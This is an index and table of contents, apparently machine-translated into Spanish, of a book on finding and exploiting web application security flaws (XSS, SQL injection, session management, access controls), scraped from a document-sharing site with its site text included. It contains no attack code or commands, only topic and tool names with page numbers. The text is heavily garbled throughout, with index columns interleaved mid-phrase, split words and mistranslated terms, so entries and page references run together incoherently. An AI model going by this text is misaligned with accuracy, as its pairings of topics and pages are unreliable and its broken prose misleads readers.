reflejado, 434–438 aturdimiento, 789
Apache, 442 XSS derrotando tokens anti-CSRF, wget, 788
cookies, 437–438 510–511 Validación de formulario HTML,
entrega, 448–449 OSRF, 502–503 129–131
DOM XSS convertido de, 472–473 encabezados de solicitud, 45– metodología
46 “solicitud en el navegador”, Burp Suite, de hackers de inyección, 835
explotando, 435–438, 474 272–273 prevención de vulnerabilidades,
fi ltros solicitar macros, Burp Suite, 604–606 368
defensivo, 455–456 encabezados de respuesta, 46 Prueba de entrada de usuario de XSS
desinfección, 468–471 REST. Ver estado representacional reflejada para introducir, 454–455
basado en firmas, 455–456 Atacante de token de sesión, 217 Código de
búsqueda y explotación, 452–481 transferir script que pasa por alto los fi ltros, 465–468
metodología de piratas informáticos, 829–830 robo de trazos inversos, 560 ataques
IE, 435 de rickrolling, 541 Rios, Billy, 485 alternativas de caracteres de punto,
límites de longitud, 471–473 robots.txt, 74 control de acceso 466 cadenas construidas
prevención, 492–496 basado en roles (RBAC), 282 dinámicamente, 466 codificación,

Limitaciones de HTML, 495–496 creación de su propio seguro, fallas 468 alternativas de función
inserción de entrada, 495 validación de lógica de aplicación, 412– eval, 466
de entrada, 492–493 validación de 413
salida, 493–495 función "recuérdame",
437 pasos, 436–437 XSS almacenado en Escape de JavaScript, 465–466
comparación con, Rubí sobre rieles (Rubí), 55 combinación de técnicas múltiples, 466–
WEBrick, 690 467
439–440 VBScript, 467
prueba de entrada de usuario, VBScript y JavaScript,
S
453 introducción de script, 454–455 467–468
enfoque de manejo seguro de datos,
directiva register_globals, HTML que presenta estilos
733 entrada, 25 registro "seguro para
CSS evaluados dinámicamente, 459
secuencias de comandos",
enfoque de “rechazar mal conocido”, controladores de eventos, 457–
Controles ActiveX, 555–557 directiva
entrada, 23–24 458 pseudoprotocolos de script, 458
de modo seguro, 733–734 política del
Cookie RemembeMe, 407–408 etiquetas de script, 457 pseudoprotocolos
funciones "recordarme" mismo origen, 524–525
de script, 458 mensajes de error de
extensiones del navegador, 525–527
fallas en la lógica de la aplicación, motores de búsqueda, 623 inferencia, 626
Flash, 525–526
oráculo de encriptación, 407 información pública, 89 consultas, 90 lógica
Java, 527 Silverlight,
autenticación, 175–176, 193 de aplicación de función de búsqueda fl
526–527 metodología de aws, 422– 424, 429 XSS almacenado, 439
metodología de hackers, 808 cookies,
175–176 encriptación, 177 XSS hackers, 851–852 HTML5, 528–529
funcionalidad web, 64 enfoque de
reflejado, 437 atacantes remotos, 427
prueba remota de caja negra, 427 desinfección, entrada, 24–25 filtros de
inclusión remota de archivos, 381 –382 desinfección, 468–471 escaneo. Ver

vulnerabilidad
pruebas de fallas, 383 control remoto, 70
transferencia de estado representacional
Método SEARCH, desafío
escáneres
secundario 679
Schuh, Justin, 634 cookie función de inicio de sesión, 173,
(REST), URL, 44–45 de nombre de pantalla, 407–408 guiones. 200 recuperación de contraseña,
spidering, 74–75 solicitud de Véase también secuencias de comandos 200 inyección SQL de segundo orden,
falsificación entre sitios 313–314
872 Índice n S–S
XSS de segundo orden. Ver preguntas secretas reputación, 1 ASP.NET, 54, 103
XSS almacenadas, función de inicio de sesión, gestión de sesiones, 248–254 alojamiento solicitudes de disección, 107–108 Java,
189 Secure Socket Layer (SSL) compartido, 665–667 53–54 PHP, 54–55 Ruby on Rails, 55
segregación de componentes, 667 SQL, 55–56 extrapolación del
certificación del lado del cliente, 138 acceso de clientes, 665–666 segregación comportamiento de la aplicación web,
protección de la comunicación, 192 de funcionalidades de clientes, 666 109–110 aislamiento del comportamiento
verificación de la metodología del hacker de la aplicación web, 110 servicios web,
para cifrados débiles, 851 túnel SSL, 7–8 56–57 XML, 56 redirección
HTTP, 49 seguridad, 7–8 tokens de sesión, arquitecturas en niveles, 654–656 impacto HTTP, 390–392 explotación, 391–392
233 vulnerabilidades de, 8 seguridad. Véase en el tiempo y los recursos, 11 identificación de mapeo de
también defensa aplicaciones de tecnologías, 101–106
generación de tokens, 210 captura de banner, 101 nombres de
conciencia subdesarrollada de, 10 directorio, 105 extensiones de archivo,
mecanismos aplicación web, 1, 6–15 102–105 huellas dactilares HTTP, 102
controles de acceso, 278–283 atacantes, 6 comprensión del tokens de sesión, 105 terceros
mejores prácticas, 279–280 desarrollador, 3 futuro, 14–15 -componentes de código de partido, 105
enfoque de componente central, factores clave, 10–12 nuevo perímetro
280 de red para, 12–14
modelo de privilegio de múltiples
capas, 280–283 trampas,
278–279 fallas de lógica de
aplicación, 428 configuración de entrada del usuario amenazante, 9–10
ASP.NET, 723–724 ViewState, 155 vulnerabilidades, 7–8 servidor web
ASP, 665–667
configuración, 684 sesiones
software, 695–697 ASP.NET, 719–720
segregación de componentes, 667 evolución del sitio web y, 2 fijación inyección de
acceso de clientes, 665–666 segregación XSS, evolución, 433 cookies, 537–540 búsqueda y
de funciones de clientes, 666 SELECCIONE valor NULL, operador explotación, 539–540 prevención,
autenticación, 191–201 UNION, 306–307 540 pasos, 537–538
prevención de ataques de fuerza bruta, Consultas SELECT, operador UNION, 304–305 metodología de hackers fijación,
196–199 sutilezas, 195 lado del cliente, 819 terminación, 818–819
431–432 transmisión de datos del sentencias SELECCIONAR metodología de hackers, mapeo de
lado del cliente, 154–156 registro y Inyección SQL, 294–295 aplicaciones, tokens a, 818
alertando, 156 validación, 155 Cláusula WHERE, 321 secuestro, 436 autenticación HTTP
autorregistro, nombres de usuario, 182, alternativa a, 208–209 Java, 712–713
196 verificaciones semánticas, lenguaje Perl, 736 PHP, 727
entrada, 25 carácter de punto y coma, manejo de escáneres de
función por lotes, 363 serialización, 70 vulnerabilidad independientes,
evolución, 432 datos serializados
endurecimiento, 695–696
encabezados HTTP y
suposiciones con, 123 extensiones del navegador
Configuración de Java, 716–717 que interceptan la

Enfoque en los medios, 432 transmisión de datos, el manejo,
Microsoft, 431–432 mitos, 136–138
433 Java, 136–137 778–779

estándares PCI, 7 Flash, 137–138 información de estado gestionada sin,
Configuración del lenguaje Perl, Silverlight, 138 209 terminación, 241–243
739–740 mensajes de error del servidor, 619–622 reactiva, 253–254 funcionalidad web,
Configuración PHP, 732–735 directiva Encabezado del servidor, 42 archivos 66 gestión de sesiones. Ver también
magic_quotes-gpc, 734 directiva ejecutables del servidor, 382 servidores. alertas de controles de acceso, 253
register_globals, 733 directiva Ver servidores web del lado del servidor fallas de lógica de aplicación, 429
safe_mode, 733–734 preguntas, 650 atacantes, 20 cookies, alcance
Redirección de API, liberal, 244–248
identificación de mapeo de
aplicaciones de funcionalidad
392, 106–110
Índice n S–S 873
CSRF, 251 sesión de equitación. Consulte los filtro de condiciones de coincidencia simple,
mecanismos de defensa que manejan el mecanismos de manejo de 350
acceso con, 19–20 sesiones de falsificación de solicitudes. Protocolo simple de acceso a objetos
duración, 241–243 Cookie jar de Burp Suite, macros de (SOAP), 57 funciones, 386 inyección,
transmisión insegura del token solicitud 603–604, reglas de manejo 386–388 aplicación bancaria, 387–388
de la metodología del hacker, 817 de sesiones 604–606, mensajes de error, 388 búsqueda y
divulgación del registro del explotación, 389 metodología de piratas
sistema del token, 817–818 tokens 606–609 informáticos, 839 prevención, 27, 390
probados para determinar su rastreador de manejo de sesiones, 609 NBFS, 138 registros de mapa del sitio,
significado, 815–816 soporte, 603–609 automatización 769 –771 SiteLock Active Template
personalizada, 602–609 Library, Microsoft, 559 función de
fichas probadas para suspensión, MySQL, 323 tarjetas inteligentes,
previsibilidad, 816–817 reglas de manejo de sesiones, 606–609 autenticación, 206 inyección SMTP, 397–402
comprensión, 814–815 registro, 253 rastreador de manejo de sesiones, 609 fallas, 400–401 metodología de hackers, 836–
función de inicio de sesión, 206 función de Parámetro SessionID, 590 837 prevención, 402 ataque de
cierre de sesión, 242, 250 monitoreo, 253 Encabezado Set-Cookie, 42, 47, 242, 244– francotirador, Burp Intruder, 592 SOAP .
seguridad, 248–254 información de estado, 245, 531 enumeración de identificadores, Consulte los sockets del Protocolo simple de
206–209 generación de algoritmos de 575 acceso a objetos Métodos API ASP.NET, 723
tokens, 249 secuencias de comandos de método setString, 340 hosting Java, 716 Métodos API del lenguaje Perl,
atacante, 217 exposición del lado del compartido, 656–657. Véase también 739 Métodos API PHP, 732 fallas en la lógica
cliente al secuestro de, 243–244 atacantes de computación en la nube, de la aplicación del código fuente, 428
secuencias ocultas, 213–215 espías, 658–665 acceso, 658–660 secuencias de Contraseña de puerta trasera, 708 Navegación,
234 encriptación, 223–233 comandos de puerta trasera deliberadas, 743 Desbordamiento de búfer, 709
660–661 entre aplicaciones web, 660– Recompilación de código de bytes
663
metodología de piratas informáticos, 845–

Cookies HTTP, 207–208, 234– 846 seguridad, 665–667 segregación de
236 componentes, 667 acceso de clientes,
HTTPS, 234–236, 250 665–666 segregación de funciones de
protección del ciclo de vida, 250–253 clientes, 666 amenazas, 657 alojamiento
función de inicio de sesión, 539–540 virtual, 657 analizadores de tokens
significativo, 210–212 divulgación de red, compartidos, suites de pruebas integradas,
234–237 por página, 252–253 predecible, 767 nombres de usuario compartidos, 181
213–223 tecnología del lado del servidor, metacaracteres de shell, 359 –360 fallos de
105 lógica de aplicación, 419
dentro del navegador, 142–143
SSL, fuerza fuera del navegador, 143
233, divulgación de comentarios, 710–711
registro del sistema 248–249, Inyección de comandos del sistema operativo, 363, descompilación de extensiones
237–239 365 de navegador, 142–144
dependencia del tiempo, 215–217 lenguaje Perl, 360 tipos, mensajes de error, 623
transmisión, 538 363 vulnerabilidades de cadena de formato,
transmisión de URL, 250 en El manual del Shellcoder (Anley 710
URL, 237–238 mapeo vulnerable & Heasman & Linder), 634 vulnerabilidades de enteros, 709–710 errores
de, Conjunto de caracteres Shift-JIS, 464–465 de software nativo, 709–710 vulnerabilidades
240–241 comando de apagado, 315 fi ltros basados de redirección abierta, 707–708
generación de números en firmas, refl ejados
aleatorios débiles, 218–219 XSS, 456–457 Inyección de comandos del sistema
pruebas de calidad de números errores de firma, 641–642 operativo, vulnerabilidades transversales de
aleatorios débiles, 219–223 Silverlight, 135 ruta 708, 706–707
debilidad en la generación, bytecode, 141 revisión

210–233 depuradores, 152 enfoques, 702–704 caja
debilidad en el manejo, Almacenamiento aislado, 553 negra versus caja blanca, 702–703
233–248 política del mismo origen, 526–527 metodología, 703–704
Vulnerabilidades XSS, 243–244 usos, datos serializados, 138 situaciones, 701
205 Espía, 152
874 Índice n T–T
firmas de vulnerabilidades enumeración de identificadores, 574 bases de datos de huellas dactilares,

comunes, 704–711 Inyección almacenamiento. Consulte almacenamiento 303–304
SQL, 705–706 XSS, 704–705 Spidering web, bases de datos de procedimientos metodologia hacker,
REST URL, 74–75 dirigido por el usuario, almacenados de computación en la nube, 827–829
77–80 beneficios, 77 descubrimiento de 339 metodología de piratas informáticos, inferencia, 319–324

contenido oculto con, 81–83 web en 831–832 XSS almacenado, 438–440 pasos validación de entrada
comparación con, 79 web, 74–77 del atacante, 438–439 entrega, 449–450 prueba eludida, 312
autenticación, 76 suites de pruebas de correo electrónico, 483–484 búsqueda y INSERTAR sentencias, 295–296
integradas, 760–762 spidering dirigido explotación, 481–487 MySpace, 442–443, Errores de JavaScript, 299
por el usuario en comparación 446 prevención, 492–496 limitaciones de datos numéricos, 299–301, 315–
con 79 SQL. Consulte Lenguaje de HTML, 495–496 inserción de entrada, 495 316
consulta estructurado SQLMap, 322 validación de entrada, 492–493 validación de Cláusula ORDER BY, 301–302 canal
opción sql-shell, 330–331 SQLzoo.net, salida, 493–495 fuera de banda, 316–319 consultas
292 SSL. Ver desbordamientos de pila parametrizadas, 339–341 prevención, 27,
de Secure Socket Layer, 634– 338–342 estructura de consulta,
635 seguimientos de pila ASP.NET, 301–302 segundo orden, 313–314

617 mensajes de error, 617– instrucciones SELECT, 294–295 fuente
618 escáneres de vulnerabilidad XSS reflejado en comparación con, código, 705–706 cadena de datos, 298–
independientes, 773–784 automatizado 439–440 299 sintaxis, 332–334 retardos de tiempo,
versus dirigido por el usuario, 784 función de búsqueda, 439 322–324 operador UNION, 304–308
automatización personalizada, 780–781 prueba de archivos cargados, 484–487 extracción de datos del operador UNION,
efectos peligrosos, 779 funcionalidad de Áyax, 486–487 308–311 instrucciones UPDATE, 296–297
individualización, Archivos GIFAR, 485–486 codificación de URL, 300–301 explotación
cadenas de datos construidas de vulnerabilidades , 292–294 funcionalidad
dinámicamente, código de script que web, 55–56 tokens estructurados, 210–
pasa por alto los fi ltros, 466 212 Stunnel, 789 funciones
manipulación, 316 SUBSTR(ING), 324 suspensión de cuenta,
197–198 archivos .swf, 141 validación

Inyección SQL en, función 298–299 sintáctica, 25 divulgación del registro del
string-length(), sistema metodología del hacker,
348 sesión administración, 817–818 tokens de
función strncpy, 642 robo de sesión, 237–239 vulnerabilidades, 238
golpes, 511. Véase también usuario
ataques de reparación de interfaz
marcha atrás, 560
779–780 lenguaje de consulta estructurado
limitaciones, 776–777 (SQL)
productos, 781–782 desafíos inyección del lado del cliente, 547–548
técnicos, 778–781 comentarios, 312 inyección, 7, 14
autenticación y sesión explotación avanzada,
manejo, 778–779 uso,
783–784 vulnerabilidades detectadas, 314–324
774–776 métodos API, 291 fallas
de lógica de aplicación, 420–422

vulnerabilidades no detectadas, 775 ciegos, 626 errores, 298– T
información de estado 302 lado del cliente, 547–548 corchetes de etiquetas, filtros de omisión de
gestión de sesiones, 206–209 sin sesiones, nombre de columna, 301–302 HTML, 462–464 nombre de etiqueta,
209 funcionalidad web, 66 errores condicionales, 320–322 filtros de omisión de HTML, 460–461
componentes de código de base etiquetas de script, 457 datos de
controles de acceso a de datos, sabotaje, 772 TamperIE, 772–773 protocolo
recursos estáticos, 263–264 TCP, uso de HTTP, 40 pruebas. Ver prueba
pruebas de cuentas, 277 741–742 de cuenta; metodología hacker; caja de

inclusión de archivos, 382 defensa en profundidad, 342 herramientas del hacker; hipótesis
esquemas de nombres, 87 tokens Instrucciones DELETE, 297–298 guión estadísticas que prueban aplicaciones de
estáticos, 240 pruebas de hipótesis doble, 293 mensajes de error, 334–338 terceros, 560–561
estadísticas, 219–222 herramientas de explotación, 328–331

omisión de filtro, 311–313
códigos de estado, HTTP, 48–49
Índice n U–U 875
301 Movido permanentemente, 48 transmisión insegura, 817 divulgación acceder, 649

302 Encontrado, 48 del registro del sistema, 817–818 explotar, 649–650 minimizar,
técnicas de fuerza bruta, 84 prueba de significado, 815– 654–655
304 No modificado, 48 arquitecturas 816 prueba de previsibilidad, Explotación de cargas útiles de ataques XSS,
en niveles, 647 ataques, 648–654 446–447
categorías, 648–649 segregación 816–817 bloques de prueba y captura, 30
de componentes, 655–656 por página, 252–253 200 bien, 48

defensa en profundidad, 656 generación de algoritmos de 201 Creado, 48
gestión de sesión, 249 secuencias
de comandos de atacante, 217
Java, 648 exposición del lado del cliente al
UDF . Consulte las funciones definidas por el usuario para
capas, 648 secuestro, 243–244 secuencias
corregir los ataques de la interfaz de usuario. Ver usuario
PHP, 653–654 ocultas, 213–215 espías, 234 cifrado, 223–
ataques de reparación de interfaz
protección, 654–656 233
parámetro uid, 584, 590 errores
subversión, 650–654
no controlados, 30–31
algoritmos de descifrado, 650 inclusión Cookies HTTP para, 207–208, 234–
Codificación Unicode, 67–68
de archivos locales ejecutando comandos, 236
Intruso del eructo, 375
652–654 HTTPS, 234–236, 250
identificador uniforme de recursos
Extracción de MySQL, 650–652 protección del ciclo de vida, 250–253
(URI), 44
relaciones de confianza, 649–650 función de inicio de sesión, 539–540
vulnerabilidades de
acceso, 649 minimizar, 654–655 significativo, 210–212 divulgación de red,
redirección abierta, prefijo absoluto,
retardos de tiempo enumerando 234–237 por página, 252–253 predecible,
identificadores, 545–546 activación de cuenta del
213–223 seguridad, generación de, 210
localizador uniforme de recursos (URL), 184
servidor tecnologías secundarias, 105
asignación de aplicaciones, puntos de
fuerza, 248–249 divulgación del registro
575–576 entrada de entrada, 98–99 desbordamiento
del sistema, 237–239
de búfer y longitud de, 639 código
Bases de datos de Oracle, 323–324
de bytes, 140 codificación, 67 Inyección
SQL, 300–301 truncamiento,
operativo, 363–364
formato 378, 44 solicitudes HTTP, 40, 44
Inyección SQL, generación de transmitiendo, 538
vulnerabilidades de redirección abierta,
tokens de sesión 322–324, transmisión de URL, 250 en
215–217 542 prefijo absoluto, 545–546 bloqueo
URL, 237–238 mapeo vulnerable
absoluto, 544–545 parámetros,
tiempo de control, tiempo de falla de uso de,
transmisión de datos del lado del cliente,
(falla TOCTOU), 505 falla TOCTOU. 240–241
121–122 recuperación de contraseñas con
Ver tiempo de control, tiempo de falla de uso debilidad en la generación,
210–233 tiempo limitado, redirección 174–175
Métodos de la API de ASP.NET,
tokens debilidad en el manejo,
anti-CSRF, 508–509 233–248 723 Métodos de la API de Java, 716
Vulnerabilidades XSS, 243–244 Métodos de la API del lenguaje Perl, 738

Derrota de XSS, autenticación
510–511, 160 analizadores compartidos, suites de
Burp Sequencer prueba la pruebas integradas, 767
aleatoriedad de, 219–221 SSL, 233
atacantes de computación en la nube, 665 estático, 240
cifrado, 223–233 atacantes, 232–233 estructurado, 210–212
dependencia del tiempo, 215–217

Aleta para brocas Burp Intruder, número aleatorio débil
228–231 generación, 218–219
CBC, 227–233 pruebas de calidad de números aleatorios
Métodos API de PHP, 731–732
descarga, 231–232 débiles, 219–223
Funciones TRACE, 43 lógica REST, 44–45
Cifras ECB, 224–226 oráculo
de encriptación “reveal”, de transacciones, 844 spidering, 74–75 tokens
232 de sesión, 237–238, 250 ataques de
Inyección de troyanos, cargas útiles de
traducción, 396–397
generando una fuerte, 248–249 ataques XSS, 444–445 relaciones
metodología de hackers, mapeo de de confianza metodología de piratas operador de la UNIÓN
Condiciones booleanas, 329
aplicaciones, sesiones para, informáticos, fallas en la lógica de la
818 aplicación, 844 mensajes de error, 306
metodología hacker, gestión de sesiones Valor NULO, 306–307

arquitecturas escalonadas Bases de datos Oracle, 307–308
876 Índice n V–W
condiciones, 305–306 araña web en comparación con, 79 metodología de hackers, servidores

SELECCIONE valor NULO, 306–307 _búfer de nombre de usuario, 635–637 web, 847–848 hosting
Consultas SELECT, 304–305 nombres de usuario compartido, 657 servidores web mal
Inyección SQL, 304–308 atacantes de controles de acceso configurados, 683 máquinas virtuales
extracción de datos, 308–311 recolección, 275–276 (VM), 145 sandbox, 153 red
UNIX atacantes, 168 dirección de correo privada virtual (VPN), 659 VM. Ver
sistema de archivos chroot, 381 electrónico, 167, 196 enumeración, máquinas virtuales
vulnerabilidades transversales de 166–169 metodología de hackers,
rutas de Windows en comparación
con, 374 instrucciones UPDATE, autenticación
296–297 archivos cargados, pruebas XSS enumeración, 806–807 vpn Ver escáneres de vulnerabilidades de redes
almacenadas, 484–487 Ajax, 486–487 archivos singularidad, 809 no único, 181– privadas virtuales
GIFAR, 485–486 URI. Ver recurso 182 funcionalidad de cambio de suites de pruebas integradas,
uniforme contraseña, 172 764–765
independiente, 773–784
predecible, 182–183, 197 registro independiente, 773–784

identificador automático, 182, 196 compartido, automatizado versus dirigido
URL Ver recurso uniforme 181 fuentes, 169 generado por el por el usuario, 784
localizador sistema, 192 automatización personalizada,
US-ASCII, 464 acceso 780–781
de usuario. Ver entrada de usuario UTF-7, 464 efectos peligrosos, 779
de acceso. Véase también entrada UTF-16, 464–465 funcionalidad individualizada, 779–780
Métodos de la API de ASP.NET para, Paquete UTL-HTTP, 317–318 limitaciones, 776–777 productos,
718–719 781–782 desafíos técnicos, 778–781
controles del lado del cliente, 117
extensiones del navegador, 133–153
V uso, 783–784 vulnerabilidades
detectadas, 774–776 vulnerabilidades no
Función ValidateForm, 130
metodología del hacker, detectadas, 775
Cláusula VALUES, 295–296
801–802
asignación de variables, secuestro de
Formularios HTML, 127–133
JavaScript, 522
Java, 711–712
Mensajes de
métodos API, 712
error de VBScript, 616
vulnerabilidades de
código de script que pasa por alto los fi
redirección abierta, 543–544
ltros, 467 W
vulnerabilidades de recorrido de ruta, 379–
380 JavaScript con, 467–468 WAF. Consulte el comando WAITFOR
funcionalidad web, 61 parches de de firewalls de aplicaciones web,
Lenguaje Perl, 735–736
proveedores, servidores web, 695 mensajes MS-SQL, 322–323
PHP, 724–727
de depuración detallados, 425 mensajes de
Pruebas XSS reflejadas, 453
error detallados, 30–31, 624 mensajes de error Archivos WAR, 673–676
introducción al guión, 454–455
detallados, warez, distribución, 2 WayBack
seguridad de aplicaciones web
amenazada por, 9–10 Machine, 89 WCF. Ver Ventanas
166–169
ataques de reparación de la interfaz de usuario
controles de acceso vertical, 258 Communication Foundation contraseñas
(ataques de reparación de la interfaz de
usuario), 508, 511–515 forma básica, 511– escalada vertical de privilegios, 258, 416 débiles, 161–162 web 2.0, 14 vulnerabilidades,
ViewState, atacantes ASP.NET, 65
513 destrucción de marcos, 514–515
dispositivos móviles, 515 prevención, 515 127 codificación Base64, 125–126 Burp
variaciones, 513 Suite, 126 transmisión de datos del omisión de cortafuegos de aplicaciones web
lado del cliente, 124–127 propósito, (WAF), 698 metodología de piratas
Encabezado de agente de usuario, 41, 52 125 seguridad, 155 desfiguración informáticos, servidores web, 848–849 bytes
segmentación, 100 virtual, ataque XSS cargas útiles, 443– NULL, 460 servidores web, 697–698
datos de usuario, IE, 444 alojamiento virtual Apache, aplicaciones web. Véase también metodología
554 funciones definidas por el usuario (UDF), 683 del hacker;
328
spidering dirigido por el usuario, 77–80

benefi cios, 77 descubrimiento de kit de herramientas de hacker
contenido oculto con, 81–83 funciones administrativas en, 35–36

Índice n W–W 877
Atacantes ASP entre, 660–663 Filtros XSS, 479–481 hosting virtual mal configurado, 683
contenedor web, Java, 53
extrapolación funcionalidad web del lado del Oracle, 676–677 como
del comportamiento, 109–110 cliente, 57–65 servidores proxy, software 682–683
aislamiento, 110 beneficios, 5– Ayax, 62–63, 384
6 negocios, 4 computación en la extensión del navegador Allaire JRun, 690–691
nube, 5 desarrollo personalizado, tecnologías, 65 CSS, Apple iDisk Server, 690 defensa
10 dependencia del almacén de 60–61 DOM, 62 formularios, en profundidad, 696–697 codificación
datos, 287 simplicidad engañosa, 58–60 HTML, 58 HTML5, 64– y canonicalización, 689–694
10–11 evolución, 2–3 fallas del 65 hipervínculos, 58 JavaScript,
marco, 685–687 funciones, 4–5 61 JSON, 63 política del
demandas crecientes, 12 gestión, 35– mismo origen, 64 VBScript, 61 JVM, 690
36 sobreextendida, 11–12 páginas, del lado del servidor, 51–57, gestión de memoria, 687–689
rutas funcionales versus, 93–96 103, 106–110 ASP.NET, 54,
seguridad, 1, 6–15 atacantes, 6 103 Java, 53–54 PHP, 54–55 Vulnerabilidades transversales de rutas
comprensión del desarrollador, 3 futuro, Ruby on Rails, 55 SQL, 55–56 de Microsoft IIS, 691–692
14–15 factores clave , 10–12 nuevo servicios web, 56–57 XML, 56 Exclusión de Oracle PL/SQL
perímetro de red para, sesiones, 66 información de estado, 66 Desvío de filtro de lista,
692–694
recursos, 694
Ruby WEBrick, 690
protección, 695–697
refuerzo de seguridad, 695–696 parches
de proveedores, 695 vulnerabilidades,
684–697
12–14 vulnerabilidades, 91–92
entrada del usuario amenazas, 9–10 WAF, 697–698
vulnerabilidades, 7–8 alojamiento servidores web, 669–670 Métodos WebDAV, 679–681 Servicios
compartido atacantes entre, 660–663 CMS, 92 web, 56–57
tecnologías en desarrollo, 6 configuración de Descripción de servicios web
terceros, 560–561 amenazas a, 3 evolución seguridad, 684 Idioma (WSDL), 57 web
rápida, 11 vulnerabilidades, 670–684 spidering, 74–77 autenticación, 76
contenido predeterminado, 92, 671–677 suites de pruebas integradas,
funcionalidad de depuración, 671–672
XPath subvirtiendo la lógica de, metodología de hackers, 847 760–762
345–346 JMX, 674–676 spidering dirigido por el usuario
archivos web, información funciones potentes, 673–674 en comparación con, 79
pública, 89–90 navegadores funcionalidad de muestra, 672–673 computación en la nube de
web. Véase también extensiones de credenciales predeterminadas, 670– almacenamiento web, 665
navegador; Firefox; Atacantes de 671 metodología de piratas metodología de piratas
Internet Explorer, 559–568 historial de informáticos, 846 lista de directorios, 677–679 informáticos, autenticación
navegación, 552 errores, 563 capacidades, Allaire JRun, 690–691 fallas, insegura, 811
5–6 reenlace de DNS, 563–564 marcos 694 metodología de piratas Distribuido basado en web
de explotación, informáticos, 846–849 métodos HTTP Creación y control de versiones

peligrosos, (WebDAV)
847 desbordamientos,
contenido predeterminado, 689 métodos de servidor web, 679–681
564–566 847 credenciales predeterminadas, WebDAV. Ver basado en la web
Vacuno, 565–566 846 errores de software nativo, 848 Autoría y control de versiones
XSS Shell, 566 kit de funcionalidad del servidor proxy, 847 distribuidas WEBrick, Ruby, 690 sitios
herramientas para piratas informáticos, 748–750 web creados por atacantes, 448–449
cromo, 750 hospedaje virtual, 847–848 evolución, 51 seguridad y evolución de, 2
Firefox, 749–750 WAF, 848–849 archivo web.xml, 716–717 Wget, 788
IE, 748–749 aprovechamiento del descubrimiento
suites de pruebas integradas, de contenido oculto, 91–93
configuración de interceptación Servidor de aplicaciones JBoss,
de proxies, 752–755 674–676
878 Índice n X–Z
Dónde cláusula evolución, 2–3, 15 metodologia hacker,

DECLARACIONES DELETE, 297–298 tecnologías sobreextendidas en, 11–12 840–841
INSERTAR sentencias, 295 informado, 346–347
sentencias SELECCIONAR, 321 WSDL. Ver Servicios Web prevención, 349 palabras
declaraciones UPDATE, 296–297 Descripción Idioma clave, 346 función string-
revisión de código de caja blanca, 702–703 length(), 348 lógica de aplicación web
subvertida, 345–346
fi ltros basados en listas blancas, 24 wiki,
técnicas de fuerza bruta para contraseñas Archivos X .xap,
en, 424 141 encabezado X-Frame-Options,
XMLHttpRequest, 62–63, 476, 524
Wikto, contenido oculto, 92–93 515 XHTML, 58 XML. Consulte
atacantes, 529 solicitudes entre
Extensible Markup Language XML
dominios,
Vulnerabilidades transversales de rutas de inyección de entidad externa (inyección
Windows y UNIX en comparación con XXE), 384–386 528–529
374
Comunicación de Windows XPath. Consulte Lenguaje de rutas XML
XSS. Ver secuencias de comandos entre
Fundación (WCF), 138 metodología hacker, 841
sitios XSS Shell, inyección 566 XXE. Ver
Winter-Smith, Peter, 640
inyección de entidad externa XML
Wireshark, 236 Witko, 785 World XML Path Language (XPath) función
Wide Web. Ver también count(), 348 inyección, 344–349
ciego, 347–348 fallas, 348–349
Protocolo de Transferencia de
Hipertexto; funcionalidad web Extensión Z.zip , 141

?? ?????? ??? ????? ?? ???????????? ???

Cargado por

Información del documento

Título original

Derechos de autor

Formatos disponibles

Compartir este documento

Compartir o incrustar documentos

Opciones para compartir

¿Le pareció útil este documento?

¿Este contenido es inapropiado?

Copyright:

Formatos disponibles

?? ?????? ??? ????? ?? ???????????? ???

Cargado por

Copyright:

Formatos disponibles

https://t.

Encontrar y explotar fallas de seguridad

Sobre los autores

Dafydd Stuttard es un consultor de seguridad independiente, autor y desarrollador de

Acerca del editor técnico

El Dr. Josh Pauli recibió su Ph.D. en Ingeniería de Software de la Universidad Estatal

MDSEC: La Compañía de los Autores

Dafydd y Marcus son cofundadores de MDSec, una empresa que brinda

Editor ejecutivo Vicepresidente y Ejecutivo

Redactor técnico Jim Minatel

jose pauli Coordinador de Proyectos, Portada

Director Asociado de Imagen de portada

Capítulo 1 (In)seguridad de aplicaciones web 1

Capítulo 2 Mecanismos básicos de defensa 17

Capítulo 3 Tecnologías de aplicaciones web 39

Capítulo 4 Mapeo de la aplicación 73

Capítulo 5 Omisión de los controles del lado del cliente 117

Capítulo 6 Autenticación de ataque 159

Capítulo 7 Gestión de sesiones de ataque 205

Capítulo 8 Atacar los controles de acceso 257

Capítulo 9 Atacar almacenes de datos 287

Capítulo 10 Atacar componentes de back-end 357

Capítulo 11 Atacar la lógica de la aplicación 405

Capítulo 12 Atacar a los usuarios: Cross-Site Scripting 431

Capítulo 13 Atacar a los usuarios: otras técnicas 501

Capítulo 14 Automatización de ataques personalizados 571

Capítulo 15 Explotación de la divulgación de información 615

Capítulo 16 Atacar aplicaciones compiladas nativas 633

Capítulo 17 Atacando la arquitectura de la aplicación 647

Capítulo 18 Atacar el servidor de aplicaciones 669

Capítulo 19 Búsqueda de vulnerabilidades en el código fuente 701

Capítulo 20 Un juego de herramientas para hackers de aplicaciones web 747

Capítulo 21 La metodología de un hacker de aplicaciones web 791

Capítulo 1 (In)seguridad de aplicaciones web

“Este sitio es seguro” 67

El problema central de seguridad: los usuarios pueden enviar

Factores clave del problema 10

Capítulo 2 Mecanismos básicos de defensa 17

Manejo del acceso de usuarios 18

Manejo de la entrada del usuario 21

Enfoques para el manejo de entradas 23

Validación de varios pasos y canonicalización 28

Mantenimiento de registros de auditoría

Reaccionar a los ataques 34

Capítulo 3 Tecnologías de aplicaciones web 39

Funcionalidad del lado del servidor 51

Funcionalidad del lado del cliente 57

Comunicación remota y serialización

Capítulo 4 Mapeo de la aplicación 73

Spidering dirigido por el usuario 77

Descubriendo contenido oculto 80

Páginas de la aplicación Versus

Descubriendo parámetros ocultos 96

Identificación de puntos de entrada para la entrada del usuario 98

Identificación de tecnologías del lado del servidor 101

Identificación de la funcionalidad del lado del servidor 107

Mapeo de la superficie de ataque 111

Capítulo 5 Eludir los controles del lado del cliente 117

Transmitir datos a través del cliente Campos 118

usuario: formularios HTML Límites de 123

secuencias de comandos Elementos 127

deshabilitados Captura de datos de usuario: 128

extensiones de navegador comunes 129